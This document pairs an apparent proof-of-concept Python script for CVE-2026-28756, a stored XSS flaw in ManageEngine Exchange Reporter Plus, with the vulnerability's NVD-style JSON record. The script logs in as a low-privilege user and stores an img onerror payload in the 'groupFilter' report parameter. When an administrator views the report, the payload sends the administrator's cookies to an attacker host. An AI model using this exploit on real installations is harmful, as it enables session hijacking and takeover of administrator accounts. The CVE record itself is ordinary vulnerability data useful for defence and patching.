CVE-2026-28756

import requests # Target URL (Example) target_url = "https://<target_host>/exchange_reporter_plus/servlet/ReportServlet" # Attacker credentials (Low Privilege) username = "attacker" password = "password" # Malicious Payload attempting to steal cookies via Stored XSS # The payload is injected into the Distribution Groups report parameter xss_payload = "<img src=x onerror=this.src='http://attacker-server.com/steal?c='+document.cookie>" # 1. Login to establish session session = requests.Session() login_data = { "login_type": "LOCAL", "auth_type": "userLogin", "username": username, "password": password } session.post("https://<target_host>/exchange_reporter_plus/j_security_check", data=login_data) # 2. Inject Payload into the Vulnerable Report Configuration # Targeting the 'Permissions based on Distribution Groups' report generation exploit_data = { "action": "addReport", "reportType": "DistributionGroups", "groupFilter": xss_payload, # Vulnerable parameter "save": "Save" } response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] The XSS trigger is stored. Wait for an admin to view the report.") else: print("[-] Injection failed.")

{"cve": {"id": "CVE-2026-28756", "sourceIdentifier": "0fc0942c-577d-436f-ae8e-945763c79b02", "published": "2026-04-03T11:17:05.767", "lastModified": "2026-04-03T18:52:01.003", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zohocorp ManageEngine Exchange Reporter Plus versions before 5802 are vulnerable to Stored XSS in Permissions based on Distribution Groups report."}], "metrics": {"cvssMetricV31": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.8", "matchCriteriaId": "7A7FD58A-DC4B-4FBB-B20D-5050A0D321F1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:-:*:*:*:*:*:*", "matchCriteriaId": "94D09BE3-96E1-432B-9882-D7DF3C070CE2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:5800:*:*:*:*:*:*", "matchCriteriaId": "CCAB839F-E577-4CBB-9E43-DBC0BECFA8B1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:5801:*:*:*:*:*:*", "matchCriteriaId": "53414E87-0848-4245-9D58-9A74E550E3CC"}]}]}], "references": [{"url": "https://www.manageengine.com/products/exchange-reports/advisory/CVE-2026-28756.html", "source": "0fc0942c-577d-436f-ae8e-945763c79b02", "tags": ["Vendor Advisory"]}]}}